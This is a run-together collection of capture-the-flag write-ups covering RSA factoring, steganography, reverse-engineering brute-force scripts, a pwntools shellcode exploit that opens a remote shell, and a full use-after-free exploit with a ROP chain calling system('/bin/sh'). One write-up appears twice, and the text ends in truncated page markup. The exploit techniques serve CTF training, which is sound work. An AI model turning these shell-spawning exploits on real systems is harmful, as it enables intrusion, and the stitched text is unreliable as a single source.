]280.75 81.75[ 34.75, 114.5, 162.5 ]381.75 97.25[ 34.75, 114.5, 162.5, 179 ][ 34.75, 114.5, 162.5, 179 ]val:34.75val:9010.5val:2306850.5val:590553907gol:590553907fake_flag``` ↓ OK --- **【Enter into production environment】** 1, 33.75, 80.75, 81.75, 97.25 ↓ `*ctf{web_chal_made_by_binary_players_lol}`
You've overheard a discussion between two classmates arguing whether the size really matters.What does this have to do with RSA? Within this challenge there is single file given with RSA parameters n, e, c.We know, by RSA algorithm.m = c^d mod(n)c = m^e mod(n)We need to find m here. So, we need to find d.For d we need phi(n).phi(n) = (p-1)(q-1)where, p and q are prime numbers.And, n = pq So, we go check factorizedb if we can factors.http://www.factordb.com/index.php?query=58900433780152059829684181006276669633073820320761216330291745734792546625247we get;p = 176773485669509339371361332756951225661q = 333197218785800427026869958933009188427 So, now we get phi(n) = 58900433780152059829684181006276669632563849616305906563893514443102586211160 Now, we need to find d, which multiplicative inverse of e mod(phi(n)).Thus, we go on using a python code saved as d_find.pywe get, d = 13699426463079754153895905688064380048051799131808763503874587494945034432713 Now, for final c decode we use our c_decode.py And, voila the flag is:timctf{th0sE_rOoKIe_numB3rz}
```import cv2import sysfrom PIL import Image vidcap = cv2.VideoCapture('SecurityCamera20171107.mp4')count = 0success = True #either 0 or 1last = 0framecounter = 0totalmorse = "" success,image = vidcap.read()while success: PILim = Image.fromarray(image) pix = PILim.load() #Pixel of keyboard's capslock a,b,c = pix[58,686] #if pixel is white if a > 200 and b > 200 and c > 200 : #print ("frame %d : 1" % count) # 0 to 1 if last != 1 : # long 0 if framecounter > 10: totalmorse += " " print(" ",end="") # short 0 framecounter = 0 last = 1 # 1 to 1 else: framecounter += 1 #else pixel is black else: # 1 to 0 if last != 0: #short 1's if framecounter < 10: totalmorse += "." print(".",end="") #long 1's else: totalmorse += "-" print("-",end="") framecounter = 0 last =0 # 0 to 0 else: framecounter += 1 success,image = vidcap.read() count += 1 sys.stdout.flush() ```Which prints :``` -... .-.. .. -. -.- ... .. ... .... --- .-- -.-- --- ..- ..-. . . .-.. .-. .. --. .... - -. --- .-- .... . .-. . .. ... - .... . -.. .- - .- - --- -... . . -..- ..-. .. .-.. - .-. .- - . -.. -- -.-. .- --- .-. .- -. --. . -.. . .-.. - .- .--. .. .--- .- -. . .-- .- -.-- -- -.-. .- .--- .- .-. .--- .- .-. -... .-.. .. -. -.- ... .. ... .... --- .-- -.-- --- ..- ..-. . . .-.. .-. .. --. .... - -. --- .-- .... . .-. . .. ... - .... . -.. .- - .- - --- -... . . -..- ..-. .. .-.. - .-. .- - . -.. -- -.-. .- --- .-. .- -. --. . -.. . .-.. - .- .--. .. .--- .- -. . .-- .- -.-- -- -.-. .- .--- .- .-. .--- .- .-. -... .-.. .. -. -.- ... .. ... .... --- .--``` And after decoding morse code :``` BLINKSISHOWYOUFEELRIGHTNOWHEREISTHEDATATOBEEXFILTRATEDMCAORANGEDELTAPIJANEWAYMCAJARJARBLINKSISHOWYOUFEELRIGHTNOWHEREISTHEDATATOBEEXFILTRATEDMCAORANGEDELTAPIJANEWAYMCAJARJARBLINKSISHOW``` MCA(\w+)MCA:```ORANGEDELTAPIJANEWAY```And flag is:```MCA{orange delta pi janeway}```
[](ctf=blaze-2018)[](type=re)[](tags=game)[](techniques=bruteforce) # magic-re (re-420) ```One binary, two challenges - double the fun magic-re: Reverse me | magic-pwn: Pwn me Note: for magic-re, 4 flags can work, but only one makes sense and is the one to be submitted. Author : DuSu Solves : ~35``` This was an interesting chall, but due to a side channel it was easier to brute force this like the other RE chall.The input given was put into a code template and then executed byte by byte. The instructions allowed were ```python>>> from pwn import *>>> for i in xrange(0x40, 0x60):... print i, disasm(chr(i))... 64 0: 40 inc eax65 0: 41 inc ecx66 0: 42 inc edx67 0: 43 inc ebx68 0: 44 inc esp69 0: 45 inc ebp70 0: 46 inc esi71 0: 47 inc edi72 0: 48 dec eax73 0: 49 dec ecx74 0: 4a dec edx75 0: 4b dec ebx76 0: 4c dec esp77 0: 4d dec ebp78 0: 4e dec esi79 0: 4f dec edi80 0: 50 push eax81 0: 51 push ecx82 0: 52 push edx83 0: 53 push ebx84 0: 54 push esp85 0: 55 push ebp86 0: 56 push esi87 0: 57 push edi88 0: 58 pop eax89 0: 59 pop ecx90 0: 5a pop edx91 0: 5b pop ebx92 0: 5c pop esp93 0: 5d pop ebp94 0: 5e pop esi95 0: 5f pop edi```based on how we manipulate stack/registers the context was then compared to an already saved state later. Since this was `memcmp` check it made me guess the key byte by byte. First I LD_PRELOAD the implementation of `memcmp` such that it returns the number of bytes matched. Then based on the result I can deduce the best char for an iteration. peloaded memcmp, built as a .so to LD_PRELOAD ```cint memcmp(const char *s1, const char *s2, int n){ int i; int cnt = 0; for(i=0; i < n; ++i){ if(s1[i] == s2[i]) cnt++; else break; } return cnt;} ``` driver script to bruteforce byte by byte ```pythonimport subprocess prev = "^_^ONE_BYTE_INSTRUCTION_FLAG_IZ_CLASSY_AND_FUN"for _ in xrange(20): cnt = [] for i in xrange(0x40,0x60): open("input", "w+").write(prev+chr(i)) d = subprocess.Popen("gdb -q -x ./magic.py ", shell=True, stdout=subprocess.PIPE).stdout.read().strip() try: c = int(d.split(":::::")[1]) except: c = -1 cnt.append((c, i)) best = sorted(cnt ,key=lambda x: x[0], reverse=True)[0] prev += chr(best[1]) print prev, best ``` gdb script to check the value of memcmp ```python import gdb class MyBreakpoint(gdb.Breakpoint): def stop (self): eax = int(gdb.parse_and_eval("$eax").cast(gdb.lookup_type('uint32_t'))) print(":::::%d:::::" % eax) return False gdb.execute('file ./magic')gdb.execute("set environment LD_PRELOAD /tmp/memcmp.so")gdb.execute("set verbose off")MyBreakpoint("*0x8048947")gdb.execute("run < input > output")gdb.execute("set confirm off")gdb.execute('quit')```
# milktea, re In this task we got quite obfuscated, though small, binary. It asked for a password and checked whether itis correct. As an easy to overlook obfuscation, it patched its GOT `memcmp` entry to point to a custom function,which actually checks whether `arg1 == arg2 ^ const_buf`. Other than that, the reverse engineering boiled down tosimplifying as many expressions from the executed statements as possible. In the end, most of them turned outto be xors with constants, which eventually cancelled out to zero. The final encryption code was quite simpleand fit in a few lines of C code. All operations were invertible, so we wrote the decryption function, whichyielded the flag. The whole solution code is available in `doit.cpp`.
# CTF - 2018 - Timisoara CTF 2018 Quals / Web / porcupiney ## web - 50 pts - SSL certificate - We got an html website with nothing interresting. - When we look at alternative name of the certificate, we find an hidden one```true | openssl s_client -connect porcupiney.woodlandhighschool.xyz:443 | openssl x509 -noout -text | grep DNSdepth=2 O = Digital Signature Trust Co., CN = DST Root CA X3verify return:1depth=1 C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3verify return:1depth=0 CN = porcupiney.woodlandhighschool.xyzverify return:1DONE DNS:nonononono.woodlandhighschool.xyz, DNS:porcupiney.woodlandhighschool.xyz``` - When we navigate to it, the flag is in the page :```curl -s https://nonononono.woodlandhighschool.xyz | grep timctfLook away! Shush! I give you flag, you shush, ok? timctf{w00dl4nd_cr1tt3rs_s3cur3_chr1stm4s}``` Look away! Shush! I give you flag, you shush, ok? timctf{w00dl4nd_cr1tt3rs_s3cur3_chr1stm4s} - Demo here : [![asciicast](https://asciinema.org/a/PC9bywxGJb1gYi4JtItgLIXy0.png)](https://asciinema.org/a/PC9bywxGJb1gYi4JtItgLIXy0?speed=2) By team Beers4Flags ``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~```
[](ctf=blaze-2018)[](type=re)[](tags=game)[](techniques=bruteforce) # smokemebaby (re-420) ```get this files solve at: smokeme.420blaze.in tcp 12345 author: vito solves: ~30``` This was a rust compiled binary. In main()->check(), there were 39 check_i functions to verify the i'th character based on some equations.If the check failed check_i() returned i as the exit code. This made it perfect for bruteforce. Iterate through your keyspace unless the exit code increases, repeat. driver script ```pythonimport subprocessimport string prev = ["A" for i in xrange(42)] #flag = "on anntada ona? Somebnefbbeafd roia me a"flag = ""for i, j in enumerate(flag): prev[i] = j for i in xrange(len(flag),42): cnt = [] for j in string.lowercase+string.digits+string.uppercase+" <>,.?/\"\':;{}[]\\~`!@#$%^&*()_+=-": prev[i] = j open("input", "w+").write("".join(prev)) d = subprocess.Popen("gdb -q -x ./plz.py ", shell=True, stdout=subprocess.PIPE).stdout.read().strip() try: c = int(d.split(":::::")[1]) # print c, except: c = -1 cnt.append((c,j)) print cnt best = sorted(cnt ,key=lambda x: x[0], reverse=True)[0] prev[i] = best[1] print "".join(prev) """echo -ne "on anntada ona? Somebnefbbeafd roia me a"| base64 |nc smokeme.420blaze.in 12345send your solution as base64, followed by a newline96667aaad70646abc06a8b44b1016e94e3897dd5a95dff21b6e7a9628a823d06The flag is: blaze{a0ddb69ede14231576e7f0241623723385814f32}"""``` gdb helper ```pythonimport gdb gdb.execute('file ../96667aaad70646abc06a8b44b1016e94e3897dd5a95dff21b6e7a9628a823d06')gdb.execute("set verbose off")gdb.execute("run < input > output")gdb.execute("set confirm off")exit = int(gdb.parse_and_eval("$_exitcode").cast(gdb.lookup_type('uint32_t')))print(":::::%d:::::" % exit)gdb.execute('quit')```
[](ctf=blaze-2018)[](type=exploit)[](tags=game)[](techniques=shellcode) # shellcodeme_hard (pwn-420) ```nc shellcodeme.420blaze.in 4200 Author : aweinstock``` Solving the easy version of this chall took me some time. However once that was done, I used the same technique to pwn this one. In this hard version the stack and registers were populated from /dev/urandom so that we don't have references to pivot through.This made me do the chall in 6 unique bytes. ```pythonfrom pwn import * context(arch='amd64', os='linux', log_level='info') payload = asm(("push 0x40000000; "*0x100)+("push rbx; "*36)+"push 0x400000; pop rbx; "+("inc ebx; "*0x86d)+"push rbx; ret;")payload2 = asm(shellcraft.amd64.linux.sh()) s = remote("shellcodeme.420blaze.in", 4200) s.sendline(payload)s.sendline(payload2) s.interactive()s.close() ``` The random values from the context seldom had 0s. So I sprayed the stack with a register to make `seen` for every character > 0. Then using the technique from [here](../../shellcodeme/sudhackar/README.md) to gain code execution.
# blazectfI only solved the two magic challenges during this competition.## magic-reThis was a pretty straightforward challenge that you don't need to understand the binary to do. IDA decompiler threw a weird error but let me see the code after decompiling the scanf function, although the decompiled code was faulty. I noticed it waslooping through your input string and doing a magic function and strcatting the output to a string at 0x31338000, and after several loops of this it compared the value there to some static values at a buffer at 0x3133a000. I didn't even look at the magic function and just decided to bruteforce the flag char by char, as since it was looping through your input in order you could just compare the string at 0x31338000 to the first few chars at 0x3133a000, breaking in gdb every time it did a strcat. I used the script attached to kind of manually bruteforce the flag with gdb scripting-- the length of the output kept changing and I couldn't figure out why, so I just used x/700xw to print a bunch of values at each location, and compared the first few bytes of each output. This was annoying because some null bytes at the end were printed with 0x31338000 and I didn't know how much to truncate and didn't feel like parsing the output either, so I had to change the number of bytes I wanted to compare. One way to fix this is to write a parser for the x/xw output or just use x/xs. The flag is blaze{^_^ONE_BYTE_INSTRUCTION_FLAG_IZ_CLASSY_AND_FUN_B]}## magic-pwnIt's pretty obvious we need to understand the magic function, and the overall binary, for this one :(. It seems it mmaps some executable memory at 0x31337000 and copies some code over (it copies one pop or push instruction of your choice and executes it in a sort of sandbox with a stack at 0x3133a000 and saves the registers for the next iteration of the code). Basically what I did was change this code to shellcode after doing some hackery with pop esp and changing the exit GOT to point to where it takes input for the instruction execution and the mmap function to point right after the memcpys in order to avoid weird errors. How do you accomplish this though? It seemed difficult, but I realized the pop esp instruction would be key. I could push esp on stack and unalign esp to read the first x bytes of esp into the bottom x bytes of an arbitrary register. I could dec that value, push it back on the stack aligned with some other byte and shift esp again before pop esp to change esp to whatever I wanted. I did this to change esp to 0x804xxxx, byte by byte misaligned. But I also used this method to store the address of the places I wanted to edit the functions with and also 0x31337000 (to return to that area to do my shellcode) in other registers, allowing me to loop infinitely after changing both exit and mmap GOT functions to places within the binary. I then overwrote strcat with the address of just a ret instruction so it wouldn't overflow the mmap'ed area with trash data and cause a segfault by writing past the end of the mmap'ed area. Now I had true infinite looping, and just wrote shellcode byte by byte using misaligned pushing to esp after the end of the mmap'ed code, then overwriting the jmp address at the end of the code at 0x31337000 to jmp to my shellcode and get a shell.
# primitive, crypto This was quite an interesting challenge. We were given a Python code of a server running on their host.It generated and sent a random permutation of 256 bytes and treated it as substitution cipher. Our task was to supplya sequence of operations, that when applied to any byte `c`, would give `perm[c]`. The allowed operationswere:- `ADD n`, `0 <= n < 256`,- `ROL n`, `0 <= n < 8`,- `XOR n`, `0 <= n < 256`. All of these were modulo 256. For example, let's say the the permutation was `(1, 2, 0, 3)` (for simplicity of the example, we use 2-bit numbers).Then one of the solutions would be: `ADD 3, ROL 1, XOR 2`, since number 0 after these operations would give 1,1 maps to 2, 2 to 0, and 3 stays 3. It is hard to instantly think of a general algorithm to generate the needed sequence, so we had to split thetask into simpler ones. The first thing we can do is rewriting the permutation as product of transpositions.For the example given above, this would be `swap(0, 1); swap(1, 2)`:```0 1 2 3 x1 0 2 3 x1 2 0 3``` Now we need to just write a function that generates a sequence of operations that swaps two arbitrary numbers `x` and `y`,leaving the rest of the permutation as it was. This is still a pretty hard problem, so we again decomposed itinto a set of simpler ones: we can first find operations `P(x, y)` that will map `x` to `0` and `y` to `1`with the other numbers allowed to move freely, then swap `0` and `1` (with other numbers in constant positions),then apply the first set of operations in inverse (that is, `P^-1(x, y)`). Thus we have reduced original problem to finding `swap(0, 1)` and `P(x, y)` for any `x` and `y`. We implemented a C++ code that brute forces possible solutions to these. The minimal `swap(0, 1)` implementation is`ADD 254, ROL 7, ADD 1, ROL 1`. While trying to search for `P(x, y)`, we noticed there are too many possible solution candidates for unoptimizedbrute force to be feasible. We first ran it on smaller `N` (number of bits in the numbers), and then noticed thatit is enough to consider sets of operations of the following form: `ADD a, ROL b, XOR c, ADD d`. This massivelyreduced the search space. After this and a few smaller optimizations, we managed to fit all possible candidates in memoryand calculated all `P(x, y)` (using `doit.cpp`) and saved them as Python array (in file `tab.py`). The final script, combining the above insights, is available in `doit.py`.
# Meereen## Concept This challenge is a "Use after free". This vulnerability is easy to find, the masters have slaves, if they are killed the slaves are not aware that the master is no longer there. First of all, we get the heap address. After we leak vtable address, then libc address and we are good to go. There is a lot of possibilities for this chall, you could for exemple leak environ to have the stack address, or put your ROP after revolution and do a stack jump to go in your ROP chain ## exploit.py ```#!/usr/bin/env python import pwnlibfrom pwnlib.util.packing import p64,u64import reimport structimport timeimport sysimport os import subprocess if len(sys.argv) > 4: binary_filename = os.path.join(sys.argv[4], "meereen") libc_filename = os.path.join(sys.argv[4], "libc.so.6")else: binary_filename = "../src/meereen" libc_filename = "/lib64/libc.so.6" default_timeout = 5 class Communicate : def __init__(self): pass def begin(self) : self.conn.recvuntil("Please enter the name of your city!") self.send("pycity") self.conn.recvuntil(">") def send(self,payload) : return self.conn.sendline(payload) def interact(self) : self.conn.interactive(prompt = pwnlib.term.text.bold_red('$')) def create(self,name,gold) : self.send("create") result = self.conn.recvuntil("Please enter the name : ",timeout=default_timeout) if result == "" : raise Exception("error in perso name") self.send(name) result = self.conn.recvuntil("Please enter his gold : ",timeout=default_timeout) if result == "" : raise Exception("error in perso gold") self.send(str(gold)) result = self.conn.recvuntil("What type ?\n",timeout=default_timeout) if result == "" : raise Exception("error in perso type") def create_master(self,name,gold=0) : self.create(name,gold) self.send("master") retour = self.conn.recvuntil(">",timeout=default_timeout) if "Master successfully insert" not in retour : raise Exception("error while inserting master "+name) def create_slave(self,name,master,gold=0) : self.create(name,gold) self.send("slave") result = self.conn.recvuntil("Enter master's name",timeout=default_timeout) if result == "": raise Exception("Error while creating slave") self.send(master) retour = self.conn.recvuntil(">",timeout=default_timeout) if "Slave successfully insert" not in retour : raise Exception("error while inserting slave "+name) def kill(self,name) : self.send("kill") result = self.conn.recvuntil("Enter the name please : ",timeout=default_timeout) if result == "" : raise Exception("Error while entering name") self.send(name) if "character successfully killed" not in self.conn.recvuntil(">",timeout=default_timeout) : raise Exception("error while killing character") def show(self) : self.send("show") retour = self.conn.recvuntil(">",timeout=default_timeout) if retour == '' : raise Exception("Error while showing people") return retour def end(self) : self.conn.sendline("quit") self.conn.recvuntil("Good bye!") self.conn.close() class CommunicateLtrace(Communicate) : def __init__(self) : self.heap_filename = "heap_trace" self.conn = pwnlib.tubes.process.process( [ "ltrace", "-e", "malloc+free", "-o", self.heap_filename, binary_filename ] ) def end(self) : Communicate.end(self) with open(self.heap_filename,"r") as f : content = f.read() new_content = "" for line in content.split("\n") : if "->" in line : new_content += line.split("->")[1] + "\n" with open(self.heap_filename,"w") as f : f.write(new_content) class CommunicateProcess(Communicate) : def __init__(self) : self.conn = pwnlib.tubes.process.process(binary_filename) def end(self) : Communicate.end(self) class CommunicateRemote(Communicate) : def __init__(self,host,port) : self.conn = pwnlib.tubes.remote.remote(host,port) def end(self) : Communicate.end(self) class MemLeak : def __init__(self,chall) : self.chall = chall self.perso_leak = None def memory_leak(self,address,size) : final_size = size if size < 0x30 : size = 0x30 perso_leak = "a"*8 perso_leak += p64(address) perso_leak += p64(size) perso_leak += p64(size) perso_leak += p64(size) perso_leak += p64(size) self.chall.create_master(perso_leak) result = self.chall.show() result = re.findall("My master is : (.{"+str(size)+"})",result) self.chall.kill(perso_leak) if len(result) != 1 : raise Exception("Impossible to leak address") return result[0][:final_size] if __name__ == '__main__' : from argparse import ArgumentParser binary_elf = pwnlib.elf.elf.ELF(binary_filename) libc_elf = pwnlib.elf.elf.ELF(libc_filename) addresse__ZNK6Master4showEv = 0x2db0 # maybe this will change output, _ = subprocess.Popen(["ROPgadget","--binary",libc_filename],stdout=subprocess.PIPE).communicate() with open("gadgets","w") as f: f.write(output) """ leak adresses """ chall = None while True : libc_elf.address = 0 binary_elf.address = 0 if chall != None : chall.conn.close() try : chall = CommunicateRemote(sys.argv[1],sys.argv[2]) chall.begin() for x in range(9) : chall.create_master("m"*0x40+"{:d}".format(x)) master_leak = "m" * 0x40 + "3" chall.create_slave("s"*0x40,master_leak) for x in range(1,9,2) : chall.kill("m"*0x40+"{:d}".format(x)) # get heap address for base ref result = chall.show() address_heap = u64(re.findall("My master is : (.{8})m{56}3",result)[0]) print "{:30s} : 0x{:x}".format("[+] address heap",address_heap) # get vtable, text, libc address mem_leak = MemLeak(chall) vtable_master = u64(mem_leak.memory_leak(address_heap-0xf0,8)) print "{:30s} : 0x{:x}".format("[+] address vtable master",vtable_master) address_text = u64(mem_leak.memory_leak(vtable_master,8)) - addresse__ZNK6Master4showEv print "{:30s} : 0x{:x}".format("[+] address text",address_text) binary_elf.address = address_text address_libc = u64(mem_leak.memory_leak(binary_elf.got['fflush'],8)) - libc_elf.symbols["fflush"] print "{:30s} : 0x{:x}".format("[+] address libc",address_libc) libc_elf.address = address_libc """ Now exploit """ gadgets = "" with open("gadgets") as f : gadgets = f.read() def get_gadget(my_gadget) : gadget = re.findall("(0x[a-f0-9]{16}) : "+my_gadget,gadgets) print gadget return int(gadget[0],16) stack_pivot = get_gadget("add rsp, 0x450 ; pop rbx ; ret\n") + libc_elf.address ret = get_gadget("ret\n") + libc_elf.address pop_rdi = get_gadget("pop rdi ; ret\n") + libc_elf.address fake_vtable = address_heap + 0x130 perso_tnt = p64(fake_vtable) perso_tnt += p64(fake_vtable) perso_tnt += p64(0x40) perso_tnt += p64(stack_pivot) perso_tnt += p64(stack_pivot) perso_tnt += p64(stack_pivot) chall.create_master(perso_tnt) chall.conn.send(p64(ret)*500+p64(pop_rdi)+p64(next(libc_elf.search("/bin/sh"))) + p64(libc_elf.symbols["system"]) ) chall.conn.recvuntil("\n>") chall.conn.sendline("revolution") the_end = chall.conn.recvuntil("Kill the masters ! get all their gold", timeout=default_timeout) if the_end == "": raise Exception("revolution didn't work as expected") chall.conn.sendline("cat /home/my_chall_pwned/flag && exit") result = chall.conn.recvall(timeout=default_timeout) result = re.findall("(NDH\\{[^\n]*\\})",result) if len(result) == 0 : raise Exception("can't find the flag") print result[0] exit() except Exception as e : print e #chall.end() ```
### Not Your Average RSA - 100 points (65 solves) > Somebody told me this RSA factoring is MP complete... or was it NP? For this RSA problem, we are only given the modulus and the ciphertext as follows: ```c: 9074407119435549226216306717104313210750146895081726439798095976354600576814818348656600684713830051655944443364224597709641982342039946659987121376590618828822446965847273448794324003758131816407702456966504389655568712152599077538994030379567217702587542326383955580601916478060973206347266442527564009737910n: 18086135173395641986123054725350673124644081001065528104355398467069161310728333370888782472390469310073117314933010148415971838393130403883412870626619053053672200815153337045022984003065791405742151350233540671714100052962945261324862393058079670757430356345222006961306738393548705354069502196752913415352527``` First thing I did was to insert the modulus into factordb to see if it could be easily factored but, the database didn't have all the factors. So, next thing I did was to run yafu on the modulus and voilá: ```# Factored with yafup1 = 27289543p2 = 27409927p3 = 33322589p4 = 17730961p5 = 27138691p6 = 22576643p7 = 27606707p8 = 21647243p9 = 18313601p10 = 23554169p11 = 24525821p12 = 31703933p13 = 25671797p14 = 24996157p15 = 27739163p16 = 20013121p17 = 17673199p18 = 29488469p19 = 30580789p20 = 21321539p21 = 31881917p22 = 25808239p23 = 22685197p24 = 30342329p25 = 24946057p26 = 16904777p27 = 18646361p28 = 19459483p29 = 31696261p30 = 22050221p31 = 20010041p32 = 25963459p33 = 20197313p34 = 21891889p35 = 33098557p36 = 31737131p37 = 29511773p38 = 28863719p39 = 20390129p40 = 17901463p41 = 18145913p42 = 33381329``` What I didn't expect was to see so many primes. Multiple prime RSA can decrypt messsages using the Chinese Remainder Theorem as explained in this StackOverflow [question](https://crypto.stackexchange.com/questions/31109/rsa-enc-decryption-with-multiple-prime-modulus-using-crt). To solve this problem, I simple implemented the solution given by the top answer: ```python# From https://crypto.stackexchange.com/questions/31109/rsa-enc-decryption-with-multiple-prime-modulus-using-crtts = []xs = []ds = [] for i in range(len(primes)): ds.append(modinv(e, primes[i]-1)) m = primes[0] for i in range(1, len(primes)): ts.append(modinv(m, primes[i])) m = m * primes[i] for i in range(len(primes)): xs.append(pow((c%primes[i]), ds[i], primes[i])) x = xs[0]m = primes[0] for i in range(1, len(primes)): x = x + m * ((xs[i] - x % primes[i]) * (ts[i-1] % primes[i])) m = m * primes[i] print hex(x%n)[2:-1].decode("hex")``` Running the above script we get the flag: ```timctf{mUlt1_PriM3_rS4_c0ULD_B3_DAngEr0us}```
![](https://i.imgur.com/oE066Nw.jpg) The only information we get is the challenge description and a .wav file. ----- If we run the .wav file trough a spectrogram we get this:![](https://i.imgur.com/eCkDkS8.jpg) ----- As you can see for every column we have 8 fields which can contain this orange bar or nothing so that means we have one´s and zero´s. 01010100 01001000 00110011 00100000 01000110 01001100 00110100 01000111 00100000 01001001 01010011 00111010 00100000 01100010 01101100 01100001 01111010 01100101 01111011 01001001 01011111 01011011 00110100 01001110 01011111 01001000 00110100 01011010 01011111 01000110 01010101 01001110 01011111 01010111 00110001 01010100 01001000 01011111 01000110 00110000 01010101 01010010 00110001 00110011 01010010 00100001 00111010 00111110 01111101 If we now convert this into [ascii](https://www.binaryhexconverter.com/binary-to-ascii-text-converter) we get the flag. TH3 FL4G IS: blaze{I_[4N_H4Z_FUN_W1TH_F0UR13R!:>}
# GongFou We are given a .wav file that is a series of high pitched noises. Opening the .wav in Sonic Visualiser and adding a spectrogram layer yields the following: ![Gongzou Spectrogram](https://raw.githubusercontent.com/BFT-Security-Team/CTF-Writeups/master/BlazeCTF2018/GongZou.png) There are 8 rows of empty squares or filled in squares (0s and 1s). These yield:111111110101010001001000001100110010000001000110010011000011010001000111001000000100100101010011001110100010000001100010011011000110000101111010011001010111101101001001010111110101101100110100010011100101111101001000001101000101101001011111010001100101010101001110010111110101011100110001010101000100100001011111010001100011000001010101010100100011000100110011010100100010000100111010001111100111110111111111 Which translates to: `ÿTH3 FL4G IS: blaze{I_[4N_H4Z_FUN_W1TH_F0UR13R!:>}ÿ`
# blazectfI only solved the two magic challenges during this competition.## magic-reThis was a pretty straightforward challenge that you don't need to understand the binary to do. IDA decompiler threw a weird error but let me see the code after decompiling the scanf function, although the decompiled code was faulty. I noticed it waslooping through your input string and doing a magic function and strcatting the output to a string at 0x31338000, and after several loops of this it compared the value there to some static values at a buffer at 0x3133a000. I didn't even look at the magic function and just decided to bruteforce the flag char by char, as since it was looping through your input in order you could just compare the string at 0x31338000 to the first few chars at 0x3133a000, breaking in gdb every time it did a strcat. I used the script attached to kind of manually bruteforce the flag with gdb scripting-- the length of the output kept changing and I couldn't figure out why, so I just used x/700xw to print a bunch of values at each location, and compared the first few bytes of each output. This was annoying because some null bytes at the end were printed with 0x31338000 and I didn't know how much to truncate and didn't feel like parsing the output either, so I had to change the number of bytes I wanted to compare. One way to fix this is to write a parser for the x/xw output or just use x/xs. The flag is blaze{^_^ONE_BYTE_INSTRUCTION_FLAG_IZ_CLASSY_AND_FUN_B]}## magic-pwnIt's pretty obvious we need to understand the magic function, and the overall binary, for this one :(. It seems it mmaps some executable memory at 0x31337000 and copies some code over (it copies one pop or push instruction of your choice and executes it in a sort of sandbox with a stack at 0x3133a000 and saves the registers for the next iteration of the code). Basically what I did was change this code to shellcode after doing some hackery with pop esp and changing the exit GOT to point to where it takes input for the instruction execution and the mmap function to point right after the memcpys in order to avoid weird errors. How do you accomplish this though? It seemed difficult, but I realized the pop esp instruction would be key. I could push esp on stack and unalign esp to read the first x bytes of esp into the bottom x bytes of an arbitrary register. I could dec that value, push it back on the stack aligned with some other byte and shift esp again before pop esp to change esp to whatever I wanted. I did this to change esp to 0x804xxxx, byte by byte misaligned. But I also used this method to store the address of the places I wanted to edit the functions with and also 0x31337000 (to return to that area to do my shellcode) in other registers, allowing me to loop infinitely after changing both exit and mmap GOT functions to places within the binary. I then overwrote strcat with the address of just a ret instruction so it wouldn't overflow the mmap'ed area with trash data and cause a segfault by writing past the end of the mmap'ed area. Now I had true infinite looping, and just wrote shellcode byte by byte using misaligned pushing to esp after the end of the mmap'ed code, then overwriting the jmp address at the end of the code at 0x31337000 to jmp to my shellcode and get a shell.
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 